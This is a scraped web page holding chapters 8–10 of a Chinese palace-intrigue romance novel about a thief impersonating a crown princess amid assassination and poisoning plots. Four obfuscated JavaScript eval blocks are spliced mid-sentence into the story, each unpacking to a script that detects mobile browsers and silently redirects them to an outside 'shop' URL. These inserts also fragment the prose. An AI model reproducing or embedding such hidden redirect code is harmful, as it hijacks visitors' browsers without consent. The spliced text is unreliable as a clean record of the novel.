RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132715|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日来积压在胸口的郁结瞬间消散。 “这就是自由的味道啊!”她忍不住张开双臂。 容慎站在一旁,借着灯火打量了她两眼。 见她那副没心没肺的欢喜模样,原本冷硬的唇角似乎微微松动了一下,但最终什么也没说。 “跟紧了。”他淡淡嘱咐了一句。 “好嘞!”叶小寻心情大好,亦步亦趋地跟在他身后,像个刚进城的小土包子,东看看西瞅瞅。 变故就是在一瞬间发生的。 前方不知是谁喊了一句“前面有杂耍班子喷火啦!”,原本有序的人群瞬间躁动起来。 一大波人潮像海浪一样涌了过来,直直地挤进了叶小寻和容慎之间。 “哎?别挤!别挤啊!” 叶小寻慌得扑腾了两下,被人群卷得东倒西歪。 “容慎!喂!”她踮起脚尖想喊,可声音瞬间被淹没在喧嚣的人声鼎沸中。 等到这波人潮过去,叶小寻喘着粗气站定,四下一望,哪里还有容慎的影子? “完了,走散了……” 叶小寻心里一慌,正准备找个高处看看,眼角的余光突然瞥见一道寒芒。 那是多年混迹江湖练就的直觉。 她猛地侧身,只见一个戴着斗笠的黑衣人正挤在人群中,手中一柄短匕首如毒蛇吐信,直刺她的腰侧! 叶小寻瞳孔骤缩。 本能地抬脚,却被繁重的一群困住。 躲不掉了!那匕首太快,而她这身裙子太碍事! 千钧一发之际—— “叮!” 一声清脆的金石之音响起。 一柄折扇不知从何处横空伸出,看似轻飘飘地一挡,竟精准无比地格开了那必杀的一击。 那匕首刺在扇骨上,竟再难寸进分毫。 刺客一击不中,见有高手介入,立刻隐入人群消失不见。 叶小寻惊魂未定,双腿发软,身子一歪就要倒下去。 一只修长有力的大手稳稳地托住了她的手肘。 “姑娘受惊了,可曾伤着?” 一道温润如玉的声音在头顶响起,如春风拂过,瞬间抚平了叶小寻满心的惊惶。 叶小寻呆呆地抬起头。 映入眼帘的,是一位身着雪白暗纹长袍的年轻公子。他生得剑眉星目,却无半点杀伐之气,反而透着一股子书卷气和儒雅,此时正关切地低头看着她。 叶小寻心跳漏了半拍,那公子见她站稳,便礼貌地想要松开扶着她的手,顺便再关切一句。 “嗖!” 一颗不知从哪飞来的小石子,带着凌厉的劲风,啪地一声打在了那公子的手背上。 公子吃痛,手背瞬间红了一片,但他并未动怒,只是微微蹙眉收回了手。 下一刻,一道黑影挡在了叶小寻身前,强硬地将她与那位公子隔开。 容慎阴沉着一张脸,像是谁欠了他八百万两银子似的,冷冷地盯着对面的白衣公子。 那雪衣公子揉了揉手背,看清来人后,眼中闪过一丝讶异,随即展颜一笑。 他向容慎抱拳一礼,不卑不亢道:“能在这儿巧遇公子与……尊夫人,也是缘分。在下刚才见尊夫人遇险,情急之下出手相助,若有唐突,还望海涵。” 容慎冷冷地嗯了一声,显然并不打算多做解释,更没打算道谢。 那公子也不恼,转而看向躲在容慎身后的叶小寻,笑容更加温和亲切: “初次见面,让姑娘受惊了。在下乃是姑娘的兄长,镇国公府,霍清珏。” “?” 叶小寻满脑子的“恩公”瞬间卡在了嗓子眼里,化作了一个巨大的问号。 兄……兄长? 8. 第 8 章 夜风卷起长街灯火,将三人对峙的影子拉得斜长。 叶小寻脑瓜子不停嗡嗡作响,还在纠结是叫恩公还是叫兄长。 霍清珏却瞬间收敛了那副温润如玉的认亲架势。 他神色骤凛,原本含笑的眼此刻满是警惕,向着容慎极其恭敬地长揖到底,语速极快却压得极低。 “殿下,借一步说话。半个时辰后,城西乱葬岗外的废弃酒庄,臣恭候殿下。” 容慎闻言,连眼皮都没抬一下,只是那双幽深的凤眸微微眯起,下巴极其矜贵地轻点了一下。 下一瞬,霍清珏衣袖轻挥,身形如鬼魅般融入了熙攘的人群,眨眼间便没了踪影。 叶小寻看得目瞪口呆,满脸的崇拜藏都藏不住:“不愧是恩公啊!这身法,咻的一下就没了!这就是传说中的踏雪无痕?” 她猛地一拍脑门,恍然大悟道:“哎哟,人家可是镇国大将军的嫡长公子,将门虎子的身手能不好吗?” 她完全没注意到身边的低气压已经快凝结成冰了。 突然,一股大力袭来。 容慎面无表情地伸出手,像钳子一样精准地扣住了她纤细的胳膊。 “痛痛痛……”叶小寻刚要嚎,那冷冽的声音便从头顶砸了下来: “我们也走。” “我们也要用飞的吗?我可以自己哎哎哎——!” 没等她抗议完,只觉腰间一紧,整个人瞬间腾空而起。 这一起落太快,失重感让叶小寻吓得魂飞魄散。 求生本能让她手脚并用地像只八爪鱼一样,死死抱住了容慎的腰。 “你要摔死我啊!”她把脸埋在他胸口,吓得闭着眼乱叫。 容慎垂眸,看着怀里这只恨不得嵌进自己肉里的小东西,眸底划过一丝不易察觉的无奈。 他顺势收紧了手臂。 那只大掌稳稳地托在她盈盈一握的后腰上,透过薄薄的衣料,甚至能感受到她因紧张而僵硬的脊背。 “闭嘴。” 他在她耳边低语,气息微热,带着一股子清冽的香。 闻着挺香,回去问问祝凝是哪款,让她弄点放在寝殿里点一些…… 叶小寻还在胡乱想着,容慎为了防止她乱动掉下去,手臂微微用力,将她整个人往上拎了拎,让她贴得更紧密些。 夜风呼啸而过,脚下的屋脊飞速倒退。 叶小寻从最初的惊吓中缓过神来,悄悄睁开一只眼。 这可比她那三脚猫的功夫强多了! 月光下,容慎的侧脸冷硬如雕塑,下颌线锋利得有些不近人情,可环在她腰间的手却热得烫人。 叶小寻莫名地生出了一种荒谬的安全感。 …… 半个时辰后,城西乱葬岗。 这里阴风阵阵,枯树昏鸦,与刚才热闹的夜市简直是两个世界。 容慎带着她在一家破败的酒庄后院落下。 脚刚沾地,那种暧昧的腾空感消失,两人极其自然地迅速松开。 叶小寻有些刻意地理了理被风吹乱的鬓角,眼神胡乱飘着,正想吐槽这什么鬼地方,阴影里便传来一声轻笑。 “殿下好身法,居然没比臣慢多少。” 霍清珏白衣胜雪,笑意盈盈地从暗处走了出来。 叶小寻嘴角抽了抽。 这个时机真是把握得刚刚好。 霍清珏借着惨白的月光,目光在叶小寻身上转了一圈,眼神玩味却又透着几分难以捉摸的深意。 “妹妹离家虽不出半月,但这气色……瞧着倒比在闺中时还要红润几分。” 他说着,似笑非笑地看向容慎,语气里带着几分揶揄:“看来殿下将舍妹照顾得不错,倒是让微臣这个做兄长的放心了。” “……”叶小寻只觉得头皮发麻。 她刚想装个傻,眼前突然落下一片阴影。 容慎不动声色地跨前一步,高大的身躯直接挡在了叶小寻身前,硬生生切断了霍清珏那道探究的视线。 “霍公子引孤至此,就是为了叙家常?” 容慎声音冷淡,透着一股子不耐烦。 霍清珏见状,收起折扇,脸上的戏谑神情瞬间消散,取而代之的是一片肃杀。 “自然不是。” 他压低声音,开始向容慎汇报朝中最新的动向。 叶小寻被挡在身后,听得云里雾里。 什么“兵部侍郎换人”、“粮草调度异常”、“江南那边的私账”…… 每一个词她都听得懂,连在一起就是天书。 但霍清珏的声音的恨意,她绝忽略不了。 “沈氏一族欺人太甚。清婉这笔血债,我霍清珏定要沈家以全族性命来偿!” 容慎沉默片刻,拍了拍霍清珏的肩膀:“孤要的东西,你那边可有眉目?” 霍清珏深吸一口气,平复了情绪:“正在查。不过沈道衍那老狐狸藏得深……” —— 寻常一日,圣上抱恙许久,众臣只在勤政殿议事。 出了勤政殿,宫道绵长,沈道衍与其他大臣寒暄过,极富涵养地道别。 这群人精话里有话,应付需打起万分精神。 又耽误了一刻多,他熟练地避开耳目,闪身进了一处极其隐蔽的假山暗道。 暗道尽头,是御花园湖心的一处水榭。 水榭内被重重帷幔遮掩,别说岸边,就连近旁的侍从都看不清里头。 当朝丞相沈道衍,整理着微乱的官服袖口,从暗处踱步而出。 “沈相,叫本宫好等。” 一个女人的声音带着压抑不住的烦躁与怒火响起。 师贵妃一身常服,却依然掩不住满身的珠光宝气。 她坐在阴影里,手里狠狠绞着一方帕子。 沈道衍并未行礼,只是自顾自地找了个位置坐下。 “娘娘急什么?陛下那边刚歇下,老臣总得把戏做全套了才能脱身。” 师贵妃终于忍不住发作:“本宫问你,扳倒容慎的计划都停滞多久了?那个贱种如今越发猖狂,本宫耐心有限!” 她越说越气,护甲指着沈道衍的鼻子骂道:“还有那个太子妃!你当初是怎么跟本宫保证的?说只要那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132716|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人进了东宫,当天必死无疑,镇国公府倒戈只在转瞬间!可现在呢?还活蹦乱跳着呢!” 沈道衍丝毫不慌,反而冷笑一声,语气里满是讥讽: “娘娘这消息倒是灵通。若娘娘信不过老臣,大可自己出手。” 师贵妃一噎,恼羞成怒:“你什么意思?你是说本宫连个黄毛丫头都治不了?” 沈道衍慢条斯理地抚着胡须:“非也。太医院的病案,娘娘过目即可,不必挂怀。” 师贵妃神色一变:“什么意思?” 沈道衍眼中闪过一道寒芒:“成嬷嬷那老婆子虽然死了,但这事儿办得还算利索。老臣安插在东宫的探子确认过,给成嬷嬷的那瓶丹青引,她全用光了。” 师贵妃倒吸一口冷气:“丹青引可是剧毒,无色无味,用光了?那这霍清婉现在……” “现在就算还能喘气,也不过是苟延残喘,回光返照罢了。一个将死之人,娘娘跟她置什么气?老臣也看过病案,说是伤寒,恐怕是容慎授意,娘娘安心便是。” 师贵妃眯起眼睛,心中的郁气散了大半。 “原来如此。我就说那贱种怎么突然转性了,原来是在硬撑。哼,运气好?我倒要看看她能好到几时!” 说完东宫的事,师贵妃话锋一转,眼神锐利地看向沈道衍:“你那边呢?” 沈道衍脸色微沉,理了理官服下摆:“那东西若是那么好找,老臣也不至于等到今天。” “废物!”师贵妃骂了一句。 沈道衍一睨:“贵妃娘娘何不趁照拂陛下时,自己也多仔细点周围摆设?” 这沈老贼办事干练,就是嘴不讨喜,也不知怎的讨得陛下欢心,位极人臣。 师贵妃一脸不忿,又想起今日的目的:“前几日出了桩奇事,你可知道?” “娘娘是说太子微服遇刺一事?” 师贵妃狐疑地打量着沈道衍:“不错。容慎在宫外遇刺,回来后到处查人,借着抓刺客的名头,把禁军和你名下养的那些精兵都翻了个底朝天。沈相,这刺客……不会是你派去的吧?” 沈道衍像是听到了什么天大的笑话,讥讽道:“娘娘觉得,臣看上去如此蠢笨?” 他站起身,走到水榭边,看着波澜不惊的湖水:“在这个节骨眼上行刺太子,除了激怒陛下,给容慎送把柄之外,对老夫有什么好处?老夫若要动手,必是一击毙命,绝不会留这种首尾。” 师贵妃盯着他看了半晌,这才收回目光:“不是你就好。我也觉得奇怪,容慎平日那韬光养晦的架势,这次怎么这么高调?莫不是……” 两人同时噤声,只剩帷幔翻飞,阳光碎进水榭,一地落索。 沈道衍不想再纠缠这个话题,转身准备离开:“行了,时间不早了。比起这些捕风捉影的事,娘娘还是多盯着点东宫。立马派人把底细打探清楚,那个霍清婉到底还能不能动弹,若是还能说话……” 他做了一个抹脖子的动作,眼神狠辣:“趁早结果了她,免得夜长梦多。” 师贵妃翻了个白眼,不耐烦地挥挥手:“用不着你教,本宫心里有数。” 9. 第 9 章 入了初夏,变天变得没什么征兆。 前几日还热得人穿不住夹袄,这一场夜雨下来,倒春寒似的,风里又夹着丝丝凉意。 叶小寻是个闲不住的性子,整日闷在寝殿里都要长蘑菇了。 好在祝凝手巧,连夜赶制了两幅轻纱遮面的面纱,既挡了风,又能覆面,这才让她偶尔能去庭院里的海棠树下坐坐。 今日风有些大,叶小寻刚在藤椅上歪了一会儿,祝凝便一脸紧张地跑进内殿。 “娘娘,起风了。” 她手里捧着一条流光溢彩的毯子,有些轻喘,显然是一路小跑回来的。 “娘娘快盖上。这是殿下特意让人从私库里寻来的,听说是西域进贡的天蚕丝毯。这宝贝稀罕得很,正面摸着如玉石般凉爽,反面贴身却是暖融融的,最适合这个时节用。” 祝凝一边说着,一边小心翼翼地将毯子展开,轻柔地盖在叶小寻身上,又细心地掖好了边角。 那天出宫遇险后,她被吓得不轻,这几天也学乖了,不敢再提出宫。 涤墨倒是给她带过一次话,说叶片儿两口子已经被妥善接出来了,安置在一处安全的别院,好吃好喝供着,一切安好。 若是换做以前在江湖上混的时候,叶小寻这种老油条是绝不会轻信这种鬼话的。 但这个容慎…… 叶小寻缩进毯子里,没一会儿又觉得有些热了,再把胳膊腿儿伸出来。 “咳咳……” 风口上,叶小寻掩唇轻咳了几声,身形在宽大的毯子下显得越发单薄。 祝凝迟疑着察言观色,蓦地神色一慌:“娘娘!可是又受凉了?” 叶小寻气若游丝地摆摆手,声音虚软得像是风一吹就散了,“无妨,今儿这日头难得,本宫还想再晒一会儿。” 四周隐约道视线投来。 叶小寻不着痕迹地从当值的宫人身上扫了一圈。 祝凝乖巧地应了一声“是”,跪坐在藤椅边的脚踏上,从食盒里取出一碟晶莹剔透的鲜果,用银签子插了一块,递到叶小寻嘴边。 “娘娘,涤墨大人带来殿下的口信,说不知娘娘爱吃什么口味,便让内务府把在这个时节最金贵的几样都挑了些送来。娘娘若是遇上喜欢的,便和奴婢说说,下次殿下好让人多送些。” 叶小寻张嘴含住那块蜜瓜,甜津津的汁水在舌尖炸开。 她一边嚼着,一边强忍住不开心地跳起来。 这么好吃的瓜果,她可是从来没…… 猝不及防又想起叶片儿,叶小寻有些开心不起来了。 她闷声吃了几块,这才意兴阑珊地推开祝凝的手,声音很轻,哀怨至极。 “劳殿下费心了。只是本宫身子不争气,吃了这点便觉得乏了……回吧。” 祝凝忙放下果盘,搀扶着她起身:“是,奴婢扶娘娘回寝殿歇息。” 叶小寻将半个身子的重量都压在祝凝身上,走得一步三喘,弱柳扶风。 直到两人进了内殿,厚重的殿门合上,隔绝了外面的视线。 “哎哟累死我了!” 叶小寻一把掀开那死沉死沉的天蚕丝毯,毫无形象地把自己摔进软榻里,大字型瘫着。 “真烦!不是那个想当皇后的师贵妃,就是昨日你说的那个阴恻恻的沈老贼!这日子什么时候是个头啊!” 祝凝吓得魂飞魄散,赶紧扑上来捂她的嘴:“娘娘!慎言!这要是让人听去了……” 叶小寻顺势拉住她的手,将她拽到身边坐下开始偷袭祝凝的笑穴,打闹了一阵才稍微缓解了些心头的郁气。 闹够了,叶小寻趴在枕头上,灵动的眸子直勾勾地盯着祝凝。 “祝凝,关于东宫,你知道多少?” 祝凝身子一僵,原本还带笑的脸瞬间煞白。 她膝盖一软,噗通一声跪在了地上,头都不敢抬:“娘娘恕罪!可是奴婢哪里伺候得不周到?娘娘尽管责罚!” “怎么又跪上了?行了行了,我又不是要赶你走。” 叶小寻无奈伸手去拉,祝凝跪在地上不肯起,她缓缓抬头,眼神里闪过一丝畏惧: “娘娘,奴婢知道您并非霍家长女。早在奴婢被殿下指派到这儿的第一天,奴婢就知道了。” 她顿了顿,声音有些发颤,却字字清晰:“从奴婢踏进这殿门的那一刻起,奴婢就知道,这辈子是别想活着走出东宫了。” 叶小寻看着眼前这个也就十五六岁的小姑娘,一阵无言。 “所以,奴婢这辈子唯一的指望就是娘娘。只要娘娘还好好活着,只要娘娘还觉得奴婢有用,奴婢就能在这宫中立足!求娘娘成全奴婢!” 说罢,她重重地磕了个响头。 叶小寻心里一酸。 真是怪哉,她一个小毛贼,她心酸个什么劲儿啊,真把自己当太子妃了不成。 迅速给自己的眼眶降了温,她伸手去扶祝凝:“说得跟我这儿是什么金窝银窝一样,明明就是刀山火海,一个不小心……” 祝凝胡乱抹了一把脸上的泪,破涕为笑:“娘娘,奴婢不怕!只要跟着娘娘,刀山火海奴婢也敢闯!” 叶小寻不知如何安慰,只能轻轻抚着祝凝的背,等她平静下来。 祝凝擦干泪,努力让语气轻快一些。 “不说这个了。娘娘,算算时辰,一会儿太医正还得过来点个卯,咱们得准备准备。” 叶小寻撇了撇嘴。 虽说太医院挂的案是伤寒,但要害太子妃的肯定知道是中毒,不能好得太快。 若是过于中气十足,反而惹人怀疑。 她想了想:“对了,涤墨什么时候过来?” 祝凝压低声音:“娘娘,现在外头盯得紧,眼线还没撤干净,涤墨大人行事向来谨慎,这个点恐怕……” “谨慎是谨慎,就是脑子有点轴。” 叶小寻恨铁不成钢:“我且问你,若你是那盯梢的,你是觉得大中午日头高照的时候盯得紧,还是夜深人静的时候盯得紧?” 祝凝愣了一下:“自然是……都有可能。” “错!”叶小寻竖起一根手指晃了晃,“午时人多眼杂,办事不便,盯梢也盯不出什么花儿。夜深人静正是干坏事的时候,肯定一举一动都要格外留神。这位涤墨大人若脑子活泛,就应该白天来找我。” “娘娘所言极是。” 一道毫无起伏的男声冷不丁地从身后响起,凉飕飕的,像背后灵一样。 “啊!!!” 鬼啊!!! 叶小寻费了老大劲儿才把这声尖叫给硬生生吞回了肚子里,一张小脸憋得通红。 她猛地回头,只见涤墨像根柱子一样杵在屏风后面,面无表情。 “涤墨!”她用气音咆哮,捂着狂跳的小心脏,“你是属猫的吗走路没声儿!你是想吓死我?!” 跟在后头的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132717|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医正不知所措。 “……娘娘万福。” …… 送走了那位只会摇头晃脑说“虚、很虚”的太医正,夜色已深。 祝凝在外殿守夜,内殿里只留了几盏昏黄的烛火。 涤墨似乎有要紧事儿,她留不住人,眼睁睁看着他一个闪身就消失了。 叶小寻百无聊赖地在软榻上打了个滚,从怀里摸出那个顺来的铜老虎。 这玩意儿沉甸甸的,入手冰凉,稍微盘一会儿就热乎了。 她摩挲着铜老虎那狰狞的纹路,脑海里再次回响起那个刘老爷的话。 “勤政殿……你往勤政殿去……找那嵌了虎皮的盒子……” 叶小寻眉头紧锁,翻身坐起,抓过桌上的纸笔,开始在上头鬼画符。 她咬着笔杆,在纸上画了个歪歪扭扭的大圆圈,嘴里念念有词:“这是刘老爷说的勤政殿。” 又在圈里画了个小点:“这是他让我偷的夜明珠。” 然后挠了挠腮帮子,在小点外面画了个四四方方的框:“……装在一个嵌了虎皮的盒子里……” 画到这儿,挪了两步,在旁边又画了个更大的圆圈。 “但是!我明明进的是东宫!” 她用笔尖重重戳了戳那个大圆圈:“居然有个一模一样的盒子,可里头装的却不是夜明珠……” 这两者之间,到底有什么联系? 是刘老爷的消息有误,还是说…… 正想得出神,安静的空间里,烛光突然诡异地晃了一下。 咔嗒。 一声极其细微的轻响,从外殿的方向传来。 叶小寻浑身的汗毛瞬间炸了起来! 那是多年飞贼生涯练就的直觉。 她警觉地一把将桌上的鬼画符抓成一团,定神,试探性地唤了一句:“祝凝?” 没有任何回应。 外殿静得有些可怕。 糟了! 叶小寻当机立断,毫不犹豫地将那团鬼画符塞进嘴里,嚼巴两口硬生生咽了下去。 她抓起铜老虎往怀里一揣,迅速在内殿里踱步,目光在房间里飞快搜索。 不能坐以待毙! 她手脚麻利地将软榻上的玉枕竖起来摆好,又一把扯过锦被罩上。 做完这一切,她猫着腰,贴着墙根,屏住呼吸,一点点往暗道的入口挪去。 犹豫。 她的伪装实在算不上高明,床上那一团怎么看也不像是人睡在里头了。 来人若闯进来了,一眼发现床上没人,我岂不是此地无银? 犹豫间,突然背后一空。 那堵原本坚实的墙壁竟然毫无征兆地露出入口那黑洞洞的暗道。 叶小寻重心不稳,整个人向后倒去。 无法,只能准备迎接后脑勺着地的剧痛。 预想中的疼痛并没有传来。 她跌进了一个宽阔、坚硬,且带着温热体温的怀抱。 一股清冽好闻的熟悉香气,瞬间将她整个人包裹其中,霸道地钻进了她的鼻腔。 叶小寻惊魂未定地睁开眼,入目是一片绣着暗金云纹的玄色衣襟。 她僵硬地缓缓抬头。 昏暗的烛光下,容慎那张俊美无俦的冷脸,正居高临下地看着她。 两人的距离极近,近到她能感觉到他胸腔里沉稳有力的心跳,一下一下,撞击着她的耳膜。 10. 第 10 章 过了好半天,她那僵住的脑子才重新转动起来,像是被烫到般猛地弹开,后退几步直到后背抵上了冰冷的石壁。 说来也怪,若是换做刚进宫那会儿,这会儿她怕是已经尴尬得想钻地缝了。 可现在,她竟然生出了一种诡异的熟悉感,甚至在离开那个怀抱的瞬间,心底还泛起了一丝说不清道不明的……不舍? “脸红什么?” 黑暗中,容慎的声音带着一丝不易察觉的戏谑。 叶小寻下意识地捂住脸,嘴硬道:“谁……谁脸红了?殿下你看错了吧?这地儿黑灯瞎火的,你看得清什么呀?” 容慎也没拆穿她那拙劣的谎言,只是话锋一转,语气沉了几分:“刚才那人,看清楚是谁了吗?” 叶小寻摇摇头,想起外面的祝凝,顿时急了:“祝凝还在外面!刚才那么大动静她都没反应,她不会……” “不会有事。”容慎的声音沉稳有力,带着让人心安的力量,“最多是被迷香迷晕了。” “最多?”叶小寻急得跺脚,“这皇宫可是吃人不吐骨头的地方!大婚那晚那个小宫女死得不明不白的,谁知道祝凝会不会也……” “不可能。”容慎打断她,语气里透着不容置疑的威严,“孤已下令全宫戒严,任何风吹草动都在孤的眼皮子底下。那人既没能得手,便不敢伤人灭口,否则只会暴露得更快。” 叶小寻听着他这笃定的语气,忍不住小声嘟囔:“切,说得这么神气,不知道的还以为你是皇帝呢。” 话一出口,四周的空气仿佛瞬间凝固了。 叶小寻后知后觉地反应过来自己刚才说了什么大逆不道的话,吓得瞬间睁大了眼睛,两只手死死捂住嘴,满眼慌乱。 容慎颇有深意地看了她一眼。 叶小寻眼珠子转得飞快,赶紧顺坡下驴,含糊不清地求饶:“殿……殿下恕罪!妾身失言!” 容慎看着她这副怂样,语气里竟带了笑意:“恕你什么罪?” “都……都行!只要别拔我舌头就好!”叶小寻可怜巴巴地眨着眼。 容慎轻嗤一声,没再逗她。 叶小寻松了口气,赶紧转移话题:“那个……这寝殿现在肯定是回不去了,万一那刺客杀个回马枪呢?咱们还是走另一边吧!” 说着,她揣着兵符就要往暗道的另一头摸去。 容慎却站在原地纹丝未动。 “这话,说得有点晚了。” “什么意思?这条路我记得可清楚了,直通宫外,怎么就晚了?” 她一边说,一边凭着过目不忘的记忆,摸黑走到了暗道尽头。 这里有个机关,只要往下一拉,石门就会开启。 叶小寻自信满满地伸手一拉。 “……” 石门纹丝不动。 “那个……可能有点涩。”她自我安慰了一句,两只手握住拉环,使出了吃奶的劲儿再拉。 “……” 依然纹丝不动,连个缝儿都没露。 叶小寻一脸怨气。 “怎么没反应?坏了?” 容慎勾了勾唇角,慢悠悠道:“这扇门单从里面是打不开的,除非外面有人接应。” “什么?!”叶小寻差点跳起来,“这种设计是谁想出来的?万一里面着火了怎么办?这不是把人往死里坑吗?” “防的就是有人从里面逃出去。”容慎淡淡道,“这是为了防止东宫机密外泄。” 叶小寻欲哭无泪:“那你那个贴身侍卫涤墨呢?他不是跟你形影不离吗?让他开门啊!” “问得好。”容慎一副理所当然的语气,“这门就是刚才他帮孤从外面关上的。现在,他奉命出去办别的事了。” “……” 叶小寻绝望了。 她狐疑地看着容慎:“你们主仆俩到底在搞什么鬼?大半夜的……” 问出来才觉得多余,若涉及到皇家秘辛,他肯定不会告诉自己。 于是她换了个问法:“上次也是他在里面跟着我们的,也就是说外面还有别的接应人?那你赶紧把他们叫来啊!” 容慎居然点了点头:“观察得倒是细致。孤确实不止这一个暗卫,但是很不巧,今晚他们都有任务,都不在孤身边。” 叶小寻简直想吐血。 “那你大半夜的跑进密道来干什么?别告诉我是来梦游的!” 容慎默了一瞬。 “回寝殿看看你。” “哈?” 叶小寻翻了个白眼,心里骂骂咧咧。 借口! “那现在怎么办?”叶小寻一屁股坐在地上,自暴自弃道。 “等。”容慎言简意赅,“涤墨办完事回来,发现孤不在,自会进来寻。” “他多久办完事?别告诉我要等到明天天亮!” 叶小寻烦躁地抓了抓头发。 这暗道里阴冷潮湿,这会儿那股子寒气直往骨头缝里钻。 她吸了吸鼻子,没好气地往回走,准备回到那间稍微宽敞点的暗室里去。 “运气好的话,一两个时辰。”身后传来容慎不紧不慢的声音,“运气差的话……的确得等到辰时了。” 叶小寻蓦地转身,不可置信地喊:“太子殿下日理万机,居然真有耐心在这儿蹲到辰时?您这心态,不去修仙真是可惜了!” “着急也没用。”容慎越过她,率先走进了暗室,“耐心,是你作为太子妃要学的第一件事。” 叶小寻记得暗室里陈设简陋,除了一张石头矮桌和几个石墩子,什么都没有。 想念东宫那软乎乎的锦被玉枕?那是做梦。 叶小寻没趣地撇撇嘴,随便摸了个石墩子,缩成一团坐下。 “还能怎么办呀?那就只能将就一下呗。”她打了个哈欠,“殿下也请坐,这儿虽比不上您的奢华寝宫,但也算个落脚地儿。” 一片漆黑中,突然亮起一阵微弱的火光。 是容慎用随身携带的火折子点燃了墙角的一盏残烛。 昏黄的烛光摇曳,将原本阴森的暗室照出了一丝暖意。 容慎放下火折子,也没嫌弃那石墩子硌得慌,姿态优雅地坐下,仿佛哪怕身处囚笼,也依旧是在他的东宫正殿。 空气里沉默了许久,只听见烛火偶尔爆出的“噼啪”声。 “不睡吗?”容慎突然开口,目光落在对面缩成一团的身影身上。 叶小寻下意识地紧了紧怀抱,手肘看似随意地挡在胸口。 怀里那只铜老虎棱角分明,贴着肉藏着,稍微动一下就硌得生疼,但在这种时候,这种疼痛反而让她有一种踏实感。 “睡啊。”她眨眨眼,困意上来,声音也变得软糯了几分,“我以前跟着我爹娘闯荡江湖的时候,那可是餐风露宿惯了。这儿虽然硬了点,但好歹不透风不淋雨,比那时候舒服多了。” 说到这儿,她瞥了一眼容慎,有些幸灾乐祸:“倒是殿下您这金尊玉贵的身子骨,怕是要受罪咯。坐一晚上怕是要硌得骨头疼。” 容慎没说话,目光淡淡扫过她护在胸前的手,随即垂下眼帘,不再看她。 夜深了,暗室里的温度更低了。 叶小寻迷迷糊糊地靠在石壁上,睡姿很别扭,只能蜷缩着身子。 脑子里开始犯嘀咕,也不知道叶片儿和叶根儿现在过得怎么样了。 涤墨说他们一切安好,可是…… “真奇怪……都不想我吗?也不给我带个信……” 也许是这段日子在东宫锦衣玉食过惯了,这一觉,反而睡得极不踏实。 梦里,先是出现了叶片儿那张略显年轻的脸。 那是很多年前,叶片儿还年轻,脸上没那么多风霜。 她在路边的草垛子里发现了她,眼神温柔得像是在看一只受伤的小流浪猫。 “叶根儿,快过来看看!这儿有个小孩呢!” 画面一转,温馨的场景突然变成了破败的破庙。 “啪!” 藤条狠狠抽在身上的声音格外清脆。 “谁让你去偷了!谁教你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132718|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去偷东西的!” 叶片儿气得浑身发抖,手里的藤条高高扬起,眼眶却是红的。 梦里的她,小小的身子扑倒在破庙倒塌的石像上。 好疼…… 真的好疼……像是有块硬石头抵在肋骨上,稍一呼吸都扎人。 梦里的叶小寻难受地皱紧了眉头,下意识地想要把身体撑起来,可手却怎么也动不了,仿佛被魇住了一般。 画面再一转,她被叶片儿牵着走在热闹的长街上。 路过一家私塾,窗榧大开,里面传来整齐稚嫩的读书声。 “天地玄黄,宇宙洪荒……” 她停下脚步,眼巴巴地看着里头摇头晃脑的小书生们,眼里满是羡慕。 叶片儿手里拿着刚买的两个馒头,回头看到她那渴望的神情,蹲下身来,小心翼翼地问:“丫头,想读书啊?” 她一听叶片儿那愧疚的声音,就知道她在想什么。 于是她立刻收回目光,仰起头,装作满不在乎的样子:“不想!读书有什么好玩的,酸不拉几的。” …… 温馨的画面还没持续多久,刘老爷那张肥头大耳、满脸横肉的脸突然冒了出来,狞笑着向她逼近: “想让你那爹娘活命?那就……” “不要!” 叶小寻急得在梦里大喊,身子猛地一滚。 “咚!” 额头重重磕在坚硬的石壁上。 剧痛让她瞬间清醒过来,猛地睁开眼,大口大口地喘着粗气。 “嘶……”她捂着额头,疼得眼泪花都冒出来了。 刚要起身,却发现身上滑落下一样沉甸甸、带着温热气息的东西。 那是一件绣着暗金云纹的玄色外袍。 叶小寻愣住了。 她僵硬地转过头。 只见旁边的石墩上,容慎只穿了一件单薄的中衣,正端坐着闭目养神。 火光微弱,映照着他清冷的眉眼。 即便是在这种简陋的环境下,即使是在似睡非睡间,他的背脊依然挺得笔直,像是永远不会弯折的孤松。 